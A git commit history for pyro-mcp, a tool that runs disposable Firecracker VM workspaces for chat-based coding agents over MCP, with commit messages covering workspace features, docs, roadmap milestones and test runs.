Compare commits

..

49 commits
v1.0.0 ... main

Author SHA1 Message Date
aeed5e1943
add milestones 2026-03-14 11:18:48 -03:00
663241d5d2 Add daily-loop prepare and readiness checks
Make the local chat-host loop explicit and cheap so users can warm the machine once instead of rediscovering environment and guest setup on every session.

Add cache-backed daily-loop manifests plus the new `pyro prepare` flow, extend `pyro doctor --environment` with warm/cold/stale readiness reporting, and add `make smoke-daily-loop` to prove the warmed repro-fix reset path end to end.

Also fix `python -m pyro_mcp.cli` to invoke `main()` so the new smoke and `dist-check` actually exercise the CLI module, and update the docs/roadmap to present `doctor -> prepare -> connect host -> reset` as the recommended daily path.

Validation: `uv lock`, `UV_OFFLINE=1 UV_CACHE_DIR=.uv-cache make check`, `UV_OFFLINE=1 UV_CACHE_DIR=.uv-cache make dist-check`, and `UV_OFFLINE=1 UV_CACHE_DIR=.uv-cache make smoke-daily-loop`.
2026-03-13 21:17:59 -03:00
d0cf6d8f21 Add opinionated MCP modes for workspace workflows
Introduce explicit repro-fix, inspect, cold-start, and review-eval modes across the MCP server, CLI, and host helpers, with canonical mode-to-tool mappings, narrowed schemas, and mode-specific tool descriptions on top of the existing workspace runtime.

Reposition the docs, host onramps, and use-case recipes so named modes are the primary user-facing startup story while the generic no-mode workspace-core path remains the escape hatch, and update the shared smoke runner to validate repro-fix and cold-start through mode-backed servers.

Validation: UV_OFFLINE=1 UV_CACHE_DIR=.uv-cache uv run pytest --no-cov tests/test_api.py tests/test_server.py tests/test_host_helpers.py tests/test_public_contract.py tests/test_cli.py tests/test_workspace_use_case_smokes.py; UV_OFFLINE=1 UV_CACHE_DIR=.uv-cache make check; UV_OFFLINE=1 UV_CACHE_DIR=.uv-cache make dist-check; real guest-backed make smoke-repro-fix-loop smoke-cold-start-validation outside the sandbox.
2026-03-13 20:00:35 -03:00
dc86d84e96 Add workspace review summaries
Add workspace summary across the CLI, SDK, and MCP, and include it in the workspace-core profile so chat hosts can review one concise view of the current session.

Persist lightweight review events for syncs, file edits, patch applies, exports, service lifecycle, and snapshot activity, then synthesize them with command history, current services, snapshot state, and current diff data since the last reset.

Update the walkthroughs, use-case docs, public contract, changelog, and roadmap for 4.3.0, and make dist-check invoke the CLI module directly so local package reinstall quirks do not break the packaging gate.

Validation: uv lock; ./.venv/bin/pytest --no-cov tests/test_vm_manager.py tests/test_cli.py tests/test_api.py tests/test_server.py tests/test_public_contract.py tests/test_workspace_use_case_smokes.py; UV_OFFLINE=1 UV_CACHE_DIR=.uv-cache make check; UV_OFFLINE=1 UV_CACHE_DIR=.uv-cache make dist-check; real guest-backed workspace create -> patch apply -> workspace summary --json -> delete smoke.
2026-03-13 19:21:11 -03:00
899a6760c4 Add host bootstrap and repair helpers
Add a dedicated pyro host surface for supported chat hosts so Claude Code, Codex, and OpenCode users can connect or repair the canonical MCP setup without hand-writing raw commands or config edits.

Implement the shared host helper layer and wire it through the CLI with connect, print-config, doctor, and repair, all generated from the same canonical pyro mcp serve command shape and project-source flags. Update the docs, public contract, examples, changelog, and roadmap so the helper flow becomes the primary onramp while raw host-specific commands remain as reference material.

Harden the verification path that this milestone exposed: temp git repos in tests now disable commit signing, socket-based port tests skip cleanly when the sandbox forbids those primitives, and make test still uses multiple cores by default but caps xdist workers to a stable value so make check stays fast and deterministic here.

Validation:
- uv lock
- UV_OFFLINE=1 UV_CACHE_DIR=.uv-cache make check
- UV_OFFLINE=1 UV_CACHE_DIR=.uv-cache make dist-check
2026-03-13 16:46:29 -03:00
535efc6919 Add project-aware chat startup defaults
Make repo-root chat startup native by letting MCP servers carry a default project source for workspace creation. When a chat host starts from a Git checkout, workspace_create can now omit seed_path and inherit the server startup source; explicit --project-path and clean-clone --repo-url/--repo-ref paths are supported as fallbacks.

Add project startup resolution and materialization, surface origin_kind/origin_ref in workspace_seed, update chat-host docs and the repro/fix smoke to use project-aware workspace creation, and switch dist-check to uv run pyro so verification stays stable after uv reinstalls.

Validated with uv lock, focused startup/server/CLI pytest coverage, UV_CACHE_DIR=.uv-cache make check, UV_CACHE_DIR=.uv-cache make dist-check, and real guest-backed smokes for both explicit project_path and bare repo-root auto-detection.
2026-03-13 15:51:47 -03:00
9b9b83ebeb
Add post-4.0 chat product roadmap
Extend the chat ergonomics roadmap now that the core workspace and MCP path are in place for the narrowed chat-host persona.

Add the next planned phase around project-aware chat startup, host bootstrap and repair, reviewable agent output, opinionated use-case modes, and faster daily loops so the roadmap keeps pushing toward a repo-aware daily tool instead of a generic VM or SDK story.

Document the constraints explicitly: optimize the MCP/chat-host path first, keep disk tools secondary, and take advantage of the current no-users-yet window to make breaking product-shaping changes when needed.
2026-03-13 15:18:02 -03:00
999fe1b23a
Reframe pyro around the chat-host path
Make the docs and help text unapologetically teach  as the product path for Claude Code, Codex, and OpenCode on Linux KVM.

Rewrite the README, install/first-run/integration guides, public contract, vision, and use-case docs around the zero-to-hero chat flow, and explicitly note that there are no users yet so breaking changes are acceptable while the interface is still being shaped.

Update package metadata, CLI help, and the docs/help expectation tests to match the new positioning. Validate the reframe with usage: pyro [-h] [--version] COMMAND ...

Validate the host and serve disposable MCP workspaces for chat-based coding agents on supported Linux x86_64 KVM hosts.

positional arguments:
  COMMAND
    env        Inspect and manage curated environments.
    mcp        Run the MCP server.
    run        Run one command inside an ephemeral VM.
    workspace  Manage persistent workspaces.
    doctor     Inspect runtime and host diagnostics.
    demo       Run built-in demos.

options:
  -h, --help   show this help message and exit
  --version    show program's version number and exit

Suggested zero-to-hero path:
  pyro doctor
  pyro env list
  pyro env pull debian:12
  pyro run debian:12 -- git --version
  pyro mcp serve

Connect a chat host after that:
  claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve
  codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve

If you want terminal-level visibility into the workspace model:
  pyro workspace create debian:12 --seed-path ./repo --id-only
  pyro workspace sync push WORKSPACE_ID ./changes
  pyro workspace exec WORKSPACE_ID -- cat note.txt
  pyro workspace diff WORKSPACE_ID
  pyro workspace snapshot create WORKSPACE_ID checkpoint
  pyro workspace reset WORKSPACE_ID --snapshot checkpoint
  pyro workspace shell open WORKSPACE_ID --id-only
  pyro workspace service start WORKSPACE_ID app --ready-file .ready --                 sh -lc 'touch .ready && while true; do sleep 60; done'
  pyro workspace export WORKSPACE_ID note.txt --output ./note.txt, usage: pyro mcp serve [-h] [--profile {vm-run,workspace-core,workspace-full}]

Expose pyro tools over stdio for an MCP client. Bare `pyro mcp serve` now starts `workspace-core`, the recommended first profile for most chat hosts.

options:
  -h, --help            show this help message and exit
  --profile {vm-run,workspace-core,workspace-full}
                        Expose only one model-facing tool profile. `workspace-
                        core` is the default and recommended first profile for
                        most chat hosts; `workspace-full` is the larger opt-in
                        profile. (default: workspace-core)

Default and recommended first start:
  pyro mcp serve

Profiles:
  workspace-core: default for normal persistent chat editing
  vm-run: smallest one-shot-only surface
  workspace-full: larger opt-in surface for shells, services,
    snapshots, secrets, network policy, and disk tools

Use --profile workspace-full only when the host truly needs those
extra workspace capabilities., and uv run ruff check .
All checks passed!
uv run mypy
Success: no issues found in 61 source files
uv run pytest -n auto
============================= test session starts ==============================
platform linux -- Python 3.12.10, pytest-9.0.2, pluggy-1.6.0
rootdir: /home/thales/projects/personal/pyro
configfile: pyproject.toml
testpaths: tests
plugins: anyio-4.12.1, xdist-3.8.0, cov-7.0.0
created: 32/32 workers
32 workers [393 items]

........................................................................ [ 18%]
........................................................................ [ 36%]
........................................................................ [ 54%]
........................................................................ [ 73%]
........................................................................ [ 91%]
.................................                                        [100%]
=============================== warnings summary ===============================
../../../.local/share/uv/python/cpython-3.12.10-linux-x86_64-gnu/lib/python3.12/importlib/metadata/__init__.py:467: 32 warnings
  /home/thales/.local/share/uv/python/cpython-3.12.10-linux-x86_64-gnu/lib/python3.12/importlib/metadata/__init__.py:467: DeprecationWarning: Implicit None on return values is deprecated and will raise KeyErrors.
    return self.metadata['Version']

-- Docs: https://docs.pytest.org/en/stable/how-to/capture-warnings.html
================================ tests coverage ================================
_______________ coverage: platform linux, python 3.12.10-final-0 _______________

Name                                        Stmts   Miss  Cover   Missing
-------------------------------------------------------------------------
src/pyro_mcp/__init__.py                       25      0   100%
src/pyro_mcp/api.py                           307      7    98%   37-38, 63, 69, 72, 75, 548
src/pyro_mcp/cli.py                          1132    141    88%   288-289, 332-333, 336, 344, 367-368, 394-395, 398, 406, 450, 460-461, 464, 477, 483-484, 498-499, 502, 566-575, 592-593, 596, 635, 2180, 2182, 2226, 2236, 2280, 2284-2285, 2295, 2302, 2344-2351, 2392, 2409-2414, 2459-2461, 2470-2472, 2483-2485, 2494-2496, 2503-2505, 2510-2512, 2523-2528, 2530, 2541-2546, 2567-2572, 2574, 2589-2594, 2596, 2608, 2623, 2637, 2655-2660, 2669-2674, 2676, 2683-2688, 2690, 2701-2706, 2708, 2719-2724, 2726, 2737-2742, 2764, 2787, 2806, 2824, 2841, 2899, 3017
src/pyro_mcp/contract.py                       52      0   100%
src/pyro_mcp/demo.py                           16      0   100%
src/pyro_mcp/doctor.py                         12      0   100%
src/pyro_mcp/ollama_demo.py                   245      6    98%   289, 294, 299, 318, 439, 550
src/pyro_mcp/runtime.py                       142     14    90%   80, 84, 88, 92, 120, 130, 144, 173, 182, 194, 230-232, 262
src/pyro_mcp/runtime_boot_check.py             33      0   100%
src/pyro_mcp/runtime_build.py                 546     47    91%   92, 127, 181, 189, 238-240, 263-265, 300, 325, 331, 340-341, 343, 392, 396, 413, 416, 492-494, 497-499, 522, 525, 578, 615, 620, 646-647, 649, 686, 688, 694, 697, 725, 765, 779, 791, 805, 808, 1002, 1009, 1198
src/pyro_mcp/runtime_bundle/__init__.py         0      0   100%
src/pyro_mcp/runtime_network_check.py          15      0   100%
src/pyro_mcp/server.py                          8      0   100%
src/pyro_mcp/vm_environments.py               386     55    86%   128, 131, 267, 274, 281, 304-306, 329-331, 352-353, 355, 380, 382, 392-394, 415, 418, 421, 429, 431, 436-437, 446-448, 488, 495-496, 502, 515, 526, 539, 546, 549, 570, 596, 599, 608-609, 613, 617, 626, 629, 636, 644, 647, 659, 667, 676, 682, 685
src/pyro_mcp/vm_firecracker.py                 47      0   100%
src/pyro_mcp/vm_guest.py                      206     22    89%   139, 142, 173, 176, 202, 205, 208, 211, 217, 239, 262-279, 291, 313, 633-634, 643
src/pyro_mcp/vm_manager.py                   2846    355    88%   625, 642, 650-657, 677, 684, 688, 712-715, 795-796, 818, 828, 830, 845, 853-855, 858, 870, 872, 881, 889, 892, 901-902, 910, 913, 919, 926, 929, 933, 951-955, 1010-1011, 1050, 1096, 1102, 1114, 1150, 1156, 1159, 1168, 1170, 1173-1177, 1230, 1236, 1239, 1248, 1250, 1253-1257, 1268, 1277, 1280, 1284-1290, 1319, 1322-1324, 1326, 1333, 1335, 1345, 1347, 1349, 1352-1353, 1361, 1377, 1379, 1381, 1391, 1403-1404, 1408, 1424, 1440-1441, 1443, 1447, 1450-1451, 1469, 1476, 1488, 1505, 1508-1509, 1511, 1582-1583, 1586-1588, 1599, 1602, 1605, 1617, 1638, 1649-1650, 1657-1658, 1669-1671, 1781, 1792-1798, 1808, 1860, 1870, 1891, 1894-1895, 1901-1904, 1910, 1922-1962, 1991-1993, 2034, 2046-2047, 2077, 2146, 2175, 2524-2528, 2598-2602, 2614, 2720, 3563, 3577, 3580, 3583, 3648-3653, 3720, 3802, 3842-3843, 3846-3847, 3862-3863, 3914, 4194, 4229, 4232, 4237, 4250, 4254, 4263, 4277, 4316, 4349, 4444, 4472-4473, 4477-4478, 4504, 4530-4531, 4576, 4578, 4600-4601, 4629, 4631, 4661-4662, 4681-4682, 4734, 4738, 4741-4743, 4745, 4747, 4776-4777, 4809-4845, 4863-4864, 4903, 4905, 4934, 4954-4955, 4977, 4988-4990, 5036, 5049-5050, 5059-5061, 5104-5105, 5171-5178, 5189-5192, 5203, 5208, 5216-5230, 5240, 5473-5476, 5485-5490, 5498-5503, 5513, 5557, 5577, 5601-5602, 5678-5680, 5706-5725, 5784, 5789, 5804, 5832, 5836, 5848, 5884-5886, 5946, 5950, 6079, 6111, 6155, 6170, 6189, 6201, 6242, 6251, 6256, 6269, 6274, 6296, 6394, 6422-6423
src/pyro_mcp/vm_network.py                    134     22    84%   65-66, 139, 201, 203, 205, 226, 317-331, 350-351, 360, 362, 372-384
src/pyro_mcp/workspace_disk.py                164      0   100%
src/pyro_mcp/workspace_files.py               293      0   100%
src/pyro_mcp/workspace_ports.py                79      1    99%   116
src/pyro_mcp/workspace_shell_output.py         88      2    98%   16, 61
src/pyro_mcp/workspace_shells.py              235     26    89%   105-118, 193-194, 226-227, 230-235, 251, 257-259, 263, 270-271, 299, 301, 303, 306-307
src/pyro_mcp/workspace_use_case_smokes.py     216      8    96%   131, 134-135, 423-426, 490
-------------------------------------------------------------------------
TOTAL                                        7227    706    90%
Required test coverage of 90% reached. Total coverage: 90.23%
======================= 393 passed, 32 warnings in 5.60s =======================.
2026-03-13 15:03:20 -03:00
6433847185
update gif 2026-03-13 14:32:04 -03:00
386b9793ee Refresh stable workspace walkthrough recording
Update the README walkthrough asset to match the current workspace-first flow instead of the older JSON-plus-parsing demo.

The new tape now shows the recommended 4.x handoff path: workspace create with --id-only, model-native file read and patch apply, snapshot creation, drift and full reset, service start, host export, and cleanup.

Re-render the README GIF from that tape so the embedded recording demonstrates the current product story directly.

Validation: vhs validate docs/assets/workspace-first-run.tape; scripts/render_tape.sh docs/assets/workspace-first-run.tape (rendered outside the sandbox because vhs crashes on local-port allocation inside the sandbox).
2026-03-13 14:21:33 -03:00
c00c699a9f Make workspace-core the default MCP profile
Flip bare pyro mcp serve, create_server(), and Pyro.create_server() to default to workspace-core in 4.0.0 while keeping workspace-full as the explicit advanced opt-in surface.

Rewrite the MCP-facing docs and host-specific examples around the bare default command, update package and catalog compatibility to 4.x, and move the public-contract wording from 3.x compatibility guidance to the new stable default.

Adjust the server, API, and contract tests so bare server creation now asserts the workspace-core tool set, while explicit workspace-full coverage continues to prove shells, services, snapshots, and disk tools remain available.

Validation: uv lock; .venv/bin/pytest --no-cov tests/test_cli.py tests/test_api.py tests/test_server.py tests/test_public_contract.py; UV_CACHE_DIR=.uv-cache make check; UV_CACHE_DIR=.uv-cache make dist-check; real guest-backed smoke for bare Pyro.create_server() plus explicit profile="workspace-full".
2026-03-13 14:14:15 -03:00
68d8e875e0 Add host-specific MCP onramps for major chat clients
Ship first-class MCP setup examples for Claude Code, Codex, and OpenCode so new users can copy one exact command or config instead of translating the generic MCP template by hand.

Reposition the docs to surface those host-specific examples before the generic config fallback, keep workspace-core as the recommended profile everywhere user-facing, and retain Claude Desktop/Cursor as secondary fallback examples.

Bump the package and catalog to 3.11.0, mark the roadmap milestone done, and add docs-alignment coverage that pins the new examples to the canonical workspace-core server command and the expected OpenCode config shape.

Validation:
- uv lock
- ./.venv/bin/pytest --no-cov tests/test_cli.py
- UV_CACHE_DIR=.uv-cache make check
- UV_CACHE_DIR=.uv-cache make dist-check
2026-03-13 13:42:45 -03:00
79a7d71d3b Align use-case smokes with canonical workspace recipes
The 3.10.0 milestone was about making the advertised smoke pack trustworthy enough to act like a real release gate. The main drift was in the repro-plus-fix scenario: the recipe docs were SDK-first, but the smoke still shelled out to CLI patch apply and asserted a human summary string.\n\nSwitch the smoke runner to use the structured SDK patch flow directly, remove the harness-only CLI dependency, and tighten the fake smoke tests so they prove the same structured path the docs recommend. This keeps smoke failures tied to real user-facing regressions instead of human-output formatting drift.\n\nPromote make smoke-use-cases as the trustworthy guest-backed verification path in the top-level docs, bump the release surface to 3.10.0, and mark the roadmap milestone done.\n\nValidation:\n- uv lock\n- UV_CACHE_DIR=.uv-cache uv run pytest --no-cov tests/test_workspace_use_case_smokes.py\n- UV_CACHE_DIR=.uv-cache make check\n- UV_CACHE_DIR=.uv-cache make dist-check\n- USE_CASE_ENVIRONMENT=debian:12 UV_CACHE_DIR=.uv-cache make smoke-use-cases
2026-03-13 13:30:52 -03:00
cc5f566bcc Speed up workspace tests and parallelize make test
make test was dominated by teardown-heavy workspace integration tests, not by coverage overhead. Service shutdown was treating zombie processes as live, which forced repeated timeout waits, and one shell test was leaving killpg monkeypatched during cleanup, which made shell close paths burn the full wait budget.\n\nTreat Linux zombie pids as stopped in the workspace manager so service teardown completes promptly. Restore the real killpg implementation before shell test cleanup so the shell close path no longer pays the artificial timeout. Also isolate sys.argv in the runtime-network-check main() test so parallel pytest flags do not leak into argparse-based tests.\n\nAdd pytest-xdist to the dev environment and run make test with pytest -n auto by default so available cores are used automatically during local iteration.\n\nValidation:\n- uv lock\n- targeted hot-spot pytest rerun after the fix dropped the worst tests from roughly 10-21s each to sub-second timings\n- UV_CACHE_DIR=.uv-cache make check\n- UV_CACHE_DIR=.uv-cache make dist-check
2026-03-13 13:04:59 -03:00
d05fba6c15
Add next chat UX roadmap milestones
Capture the next UX pass after the workspace-core readiness review so the roadmap reflects the remaining friction a new chat-host user still feels.

Add milestones for trustworthy use-case smoke coverage, host-specific Claude/Codex/OpenCode MCP onramps, and the planned 4.0 default flip to workspace-core so the bare server entrypoint finally matches the recommended path.

This is a docs-only roadmap update based on the live use-case review and integration validation, with the full advanced surface kept as an explicit opt-in rather than the default.
2026-03-13 12:06:00 -03:00
22d284b1f5 Add content-only workspace read modes
Make the human workspace read commands easier to use in chat transcripts and shell pipelines by adding CLI-only --content-only to workspace file read and workspace disk read.

Keep JSON, SDK, and MCP behavior unchanged while fixing the default human rendering so content without a trailing newline is cleanly separated from the summary footer.

Update the 3.9.0 docs and roadmap status, and add CLI regression coverage plus a real guest-backed smoke for live and stopped-disk reads.
2026-03-13 11:43:40 -03:00
407c805ce2 Clarify workspace-core as the chat-host onramp
Make the recommended MCP profile visible from the first help and docs pass without changing 3.x behavior.

Rework  help, top-level docs, public-contract wording, and shipped MCP/OpenAI examples so  is the recommended first profile while  stays the compatibility default for full-surface hosts.

Bump the package and catalog to 3.8.0, mark the roadmap milestone done, and add regression coverage for the new MCP help and docs alignment. Validation included uv lock, targeted profile/help tests, make check, make dist-check, and a real guest-backed  server smoke.
2026-03-13 11:23:51 -03:00
7a0620fc0c Add workspace handoff shortcuts and file-backed inputs
Remove the remaining shell glue from the canonical CLI workspace flows so users can hand off IDs and host-authored text files directly.

Add --id-only on workspace create and shell open, plus --text-file and --patch-file for workspace file write and patch apply, while keeping the underlying SDK, MCP, and backend behavior unchanged.

Update the top walkthroughs, contract docs, roadmap status, and use-case smoke runner to use the new shortcuts, and verify the milestone with uv lock, make check, make dist-check, focused CLI tests, and a real guest-backed smoke for create, file write, patch apply, and shell open/read.
2026-03-13 11:10:11 -03:00
788fc4fad4
Add second-pass chat UX milestones
Extend the chat-ergonomics roadmap with the remaining UX work highlighted by the readiness review.

Document a second pass focused on removing shell glue from canonical CLI handoff flows, making the recommended chat-host profile more obvious without changing 3.x compatibility defaults, and polishing human-mode content reads for cleaner transcripts and copy-paste behavior.

Keep these milestones explicitly workspace-first and scoped to product UX, with CLI-only shortcuts allowed where the SDK and MCP surfaces already provide the structured behavior natively.
2026-03-13 10:44:44 -03:00
894706af50 Add use-case recipes and smoke packs
Turn the stable workspace surface into five documented, runnable stories with a shared guest-backed smoke runner, new docs/use-cases recipes, and Make targets for cold-start validation, repro/fix loops, parallel workspaces, untrusted inspection, and review/eval workflows.

Bump the package and catalog surface to 3.6.0, update the main docs to point users from the stable workspace walkthrough into the recipe index and smoke packs, and mark the 3.6.0 roadmap milestone done.

Fix a regression uncovered by the real parallel-workspaces smoke: workspace_file_read must not bump last_activity_at. Verified with uv lock, UV_CACHE_DIR=.uv-cache make check, UV_CACHE_DIR=.uv-cache make dist-check, and USE_CASE_ENVIRONMENT=debian:12 UV_CACHE_DIR=.uv-cache make smoke-use-cases.
2026-03-13 10:27:38 -03:00
21a88312b6 Add chat-friendly shell read rendering
Make workspace shell reads usable as direct chat-model input without changing the PTY or cursor model. This adds optional plain rendering and idle-window batching across CLI, SDK, and MCP while keeping raw reads backward-compatible.

Implement the rendering and wait-for-idle logic in the manager layer so the existing guest/backend shell transport stays unchanged. The new helper strips ANSI and other terminal control noise, handles carriage-return overwrite and backspace, and preserves raw cursor semantics even when plain output is requested.

Refresh the stable shell docs/examples to recommend --plain --wait-for-idle-ms 300, mark the 3.5.0 roadmap milestone done, and bump the package/catalog version to 3.5.0.

Validation: uv lock; UV_CACHE_DIR=.uv-cache make check; UV_CACHE_DIR=.uv-cache make dist-check; real guest-backed Firecracker smoke covering shell open/write/read with ANSI plus delayed output.
2026-03-13 01:10:26 -03:00
eecfd7a7d7 Add MCP tool profiles for workspace chat flows
Expose stable MCP/server tool profiles so chat hosts can start narrow and widen only when needed. This adds vm-run, workspace-core, and workspace-full across the CLI serve path, Pyro.create_server(), and the package-level create_server() factory while keeping workspace-full as the default.

Register profile-specific tool sets from one shared contract mapping, and narrow the workspace-core schemas so secrets, network policy, shells, services, snapshots, and disk tools do not leak into the default persistent chat profile. The full surface remains available unchanged under workspace-full.

Refresh the public docs and examples around the profile progression, add a canonical OpenAI Responses workspace-core example, mark the 3.4.0 roadmap milestone done, and verify with uv lock, UV_CACHE_DIR=.uv-cache make check, UV_CACHE_DIR=.uv-cache make dist-check, and a real guest-backed workspace-core smoke for create, file write, exec, diff, export, reset, and delete.
2026-03-12 23:52:13 -03:00
446f7fce04 Add workspace naming and discovery
Make concurrent workspaces easier to rediscover and resume without relying on opaque IDs alone.

Add optional workspace names, key/value labels, workspace list, and workspace update across the CLI, Python SDK, and MCP surface, and persist last_activity_at so list ordering reflects real mutating activity.

Update the stable contract, install/first-run docs, roadmap, and Python workspace example to teach the new discovery flow, and validate it with focused manager/CLI/API/server coverage plus uv lock, make check, make dist-check, and a real multi-workspace smoke for create, list, update, exec, reorder, and delete.
2026-03-12 23:16:10 -03:00
ab02ae46c7 Add model-native workspace file operations
Remove shell-escaped file mutation from the stable workspace flow by adding explicit file and patch tools across the CLI, SDK, and MCP surfaces.

This adds workspace file list/read/write plus unified text patch application, backed by new guest and manager file primitives that stay scoped to started workspaces and /workspace only. Patch application is preflighted on the host, file writes stay text-only and bounded, and the existing diff/export/reset semantics remain intact.

The milestone also updates the 3.2.0 roadmap, public contract, docs, examples, and versioning, and includes focused coverage for the new helper module and dispatch paths.

Validation:
- uv lock
- UV_CACHE_DIR=.uv-cache make check
- UV_CACHE_DIR=.uv-cache make dist-check
- real guest-backed smoke for workspace file read, patch apply, exec, export, and delete
2026-03-12 22:03:25 -03:00
dbb71a3174
Add chat-first workspace roadmap
Document the post-3.1 milestones needed to make the stable workspace product feel natural in chat-driven LLM interfaces.

Add a follow-on roadmap for model-native file ops, workspace naming and discovery, tool profiles, shell output cleanup, and use-case recipes with smoke coverage. Link it from the README, vision doc, and completed workspace GA roadmap so the next phase is explicit.

Keep the sequence anchored to the workspace-first vision and continue to treat disk tools as secondary rather than the main chat-facing surface.
2026-03-12 21:06:14 -03:00
287f6d100f Add stopped-workspace disk export and inspection
Finish the 3.1.0 secondary disk-tools milestone so stable workspaces can be
stopped, inspected offline, exported as raw ext4 images, and started again
without changing the primary workspace-first interaction model.

Add workspace stop/start plus workspace disk export/list/read across the CLI,
SDK, and MCP, backed by a new offline debugfs inspection helper and guest-only
validation. Scrub runtime-only guest state before disk inspection/export, and
fix the real guest reliability gaps by flushing the filesystem on stop and
removing stale Firecracker socket files before restart.

Update the docs, examples, changelog, and roadmap to mark 3.1.0 done, and
cover the new lifecycle/disk paths with API, CLI, manager, contract, and
package-surface tests.

Validation: uv lock; UV_CACHE_DIR=.uv-cache make check; UV_CACHE_DIR=.uv-cache
make dist-check; real guest-backed smoke for create, shell/service activity,
stop, workspace disk list/read/export, start, exec, and delete.
2026-03-12 20:57:16 -03:00
f2d20ef30a Promote stable workspace product for 3.0.0
Freeze the current workspace-first surface as the stable 3.0 contract and reposition the
landing docs, CLI help, and public contract around the stable workspace path after the
one-shot proof.

Bump the package and catalog compatibility to 3.0.0, add a dedicated workspace walkthrough
tape/GIF, and mark the 3.0.0 roadmap milestone done while keeping runtime capability
unchanged in this release.

Validation: uv lock; UV_CACHE_DIR=.uv-cache make check; UV_CACHE_DIR=.uv-cache make dist-check;
UV_CACHE_DIR=.uv-cache uv build; UV_CACHE_DIR=.uv-cache uvx --from twine twine check dist/*;
built-wheel CLI smoke for pyro --help and pyro workspace --help; vhs validate plus rendered
workspace-first-run.gif outside the sandbox because vhs crashes when sandboxed.
2026-03-12 18:59:09 -03:00
c82f4629b2 Add workspace network policy and published ports
Replace the workspace-level boolean network toggle with explicit network policies and attach localhost TCP publication to workspace services.

Persist network_policy in workspace records, validate --publish requests, and run host-side proxy helpers that follow the service lifecycle so published ports are cleaned up on failure, stop, reset, and delete.

Update the CLI, SDK, MCP contract, docs, roadmap, and examples for the new policy model, add coverage for the proxy and manager edge cases, and validate with uv lock, UV_CACHE_DIR=.uv-cache make check, UV_CACHE_DIR=.uv-cache make dist-check, and a real guest-backed published-port probe smoke.
2026-03-12 18:12:57 -03:00
fc72fcd3a1 Add guest-only workspace secrets
Add explicit workspace secrets across the CLI, SDK, and MCP, with create-time secret definitions and per-call secret-to-env mapping for exec, shell open, and service start. Persist only safe secret metadata in workspace records, materialize secret files under /run/pyro-secrets, and redact secret values from exec output, shell reads, service logs, and surfaced errors.

Fix the remaining real-guest shell gap by shipping bundled guest init alongside the guest agent and patching both into guest-backed workspace rootfs images before boot. The new init mounts devpts so PTY shells work on Firecracker guests, while reset continues to recreate the sandbox and re-materialize secrets from stored task-local secret material.

Validation: uv lock; UV_CACHE_DIR=.uv-cache make check; UV_CACHE_DIR=.uv-cache make dist-check; and a real guest-backed Firecracker smoke covering workspace create with secrets, secret-backed exec, shell, service, reset, and delete.
2026-03-12 15:43:34 -03:00
18b8fd2a7d Add workspace snapshots and full reset
Implement the 2.8.0 workspace milestone with named snapshots and full-sandbox reset across the CLI, Python SDK, and MCP server.

Persist the immutable baseline plus named snapshot archives under each workspace, add workspace reset metadata, and make reset recreate the sandbox while clearing command history, shells, and services without changing the workspace identity or diff baseline.

Refresh the 2.8.0 docs, roadmap, and Python example around reset-over-repair, then validate with uv lock, UV_CACHE_DIR=.uv-cache make check, UV_CACHE_DIR=.uv-cache make dist-check, and a real guest-backed create/snapshot/reset/diff smoke test outside the sandbox.
2026-03-12 12:41:11 -03:00
f504f0a331 Add workspace service lifecycle with typed readiness
Make persistent workspaces capable of running long-lived background processes instead of forcing everything through one-shot exec calls.

Add workspace service start/list/status/logs/stop across the CLI, Python SDK, and MCP server, with multiple named services per workspace, typed readiness probes (file, tcp, http, and command), and aggregate service counts on workspace status. Keep service state and logs outside /workspace so diff and export semantics stay workspace-scoped, and extend the guest agent plus backends to persist service records and logs across separate calls.

Update the 2.7.0 docs, examples, changelog, and roadmap milestone to reflect the shipped surface.

Validation: uv lock; UV_CACHE_DIR=.uv-cache make check; UV_CACHE_DIR=.uv-cache make dist-check; real guest-backed Firecracker smoke for workspace create, two service starts, list/status/logs, diff unaffected, stop, and delete.
2026-03-12 05:36:28 -03:00
84a7e18d4d Add workspace export and baseline diff
Complete the 2.6.0 workspace milestone by adding explicit host-out export and immutable-baseline diff across the CLI, Python SDK, and MCP server.

Capture a baseline archive at workspace creation, export live /workspace paths through the guest agent, and compute structured whole-workspace diffs on the host without affecting command logs or shell state. The docs, roadmap, bundled guest agent, and workspace example now reflect the new create -> sync -> diff -> export workflow.

Validation: uv lock, UV_CACHE_DIR=.uv-cache make check, UV_CACHE_DIR=.uv-cache make dist-check, and a real guest-backed Firecracker smoke covering workspace create, sync push, diff, export, and delete.
2026-03-12 03:15:45 -03:00
3f8293ad24 Add persistent workspace shell sessions
Let agents inhabit a workspace across separate calls instead of only submitting one-shot execs.

Add workspace shell open/read/write/signal/close across the CLI, Python SDK, and MCP server, with persisted shell records, a local PTY-backed mock implementation, and guest-agent support for real Firecracker workspaces.

Mark the 2.5.0 roadmap milestone done, refresh docs/examples and the release metadata, and verify with uv lock, UV_CACHE_DIR=.uv-cache make check, and UV_CACHE_DIR=.uv-cache make dist-check.
2026-03-12 02:31:57 -03:00
2de31306b6 Refresh docs and examples for workspaces
Rewrite the user-facing persistent sandbox story around pyro workspace ..., including the install guide, first-run transcript, integrations notes, and public contract reference.

Rename the Python example to examples/python_workspace.py and update the docs to use the new workspace create, sync, exec, status, logs, and delete flows with seed_path/workspace_id terminology.

Mark the 2.4.0 workspace-contract pivot as done in the roadmap now that the shipped CLI, SDK, MCP, docs, and tests all use the workspace-first surface.
2026-03-12 01:28:40 -03:00
48b82d8386 Pivot persistent APIs to workspaces
Replace the public persistent-sandbox contract with workspace-first naming across CLI, SDK, MCP, payloads, and on-disk state.

Rename the task surface to workspace equivalents, switch create-time seeding to `seed_path`, and store records under `workspaces/<workspace_id>/workspace.json` without carrying legacy task aliases or migrating old local task state.

Keep `pyro run` and `vm_*` unchanged. Validation covered `uv lock`, focused public-contract/API/CLI/manager tests, `UV_CACHE_DIR=.uv-cache make check`, and `UV_CACHE_DIR=.uv-cache make dist-check`.
2026-03-12 01:24:01 -03:00
f57454bcb4 Add workspace-first roadmap milestones
Break the updated workspace vision into a checked-in roadmap from 2.4.0 through 3.1.0 so later implementation can be driven milestone by milestone.

Link the roadmap from the vision doc and keep each release slice scoped to one product capability, from the workspace contract pivot through shells, export/diff, services, snapshots, secrets, networking, and GA promotion.

This is a docs-only planning scaffold; runtime behavior stays unchanged in this commit.
2026-03-12 01:21:26 -03:00
dccc2152e3
Document the agent-workspace vision
Clarify that pyro should evolve into a disposable workspace for agents instead of drifting into a secure CI or task-runner identity.

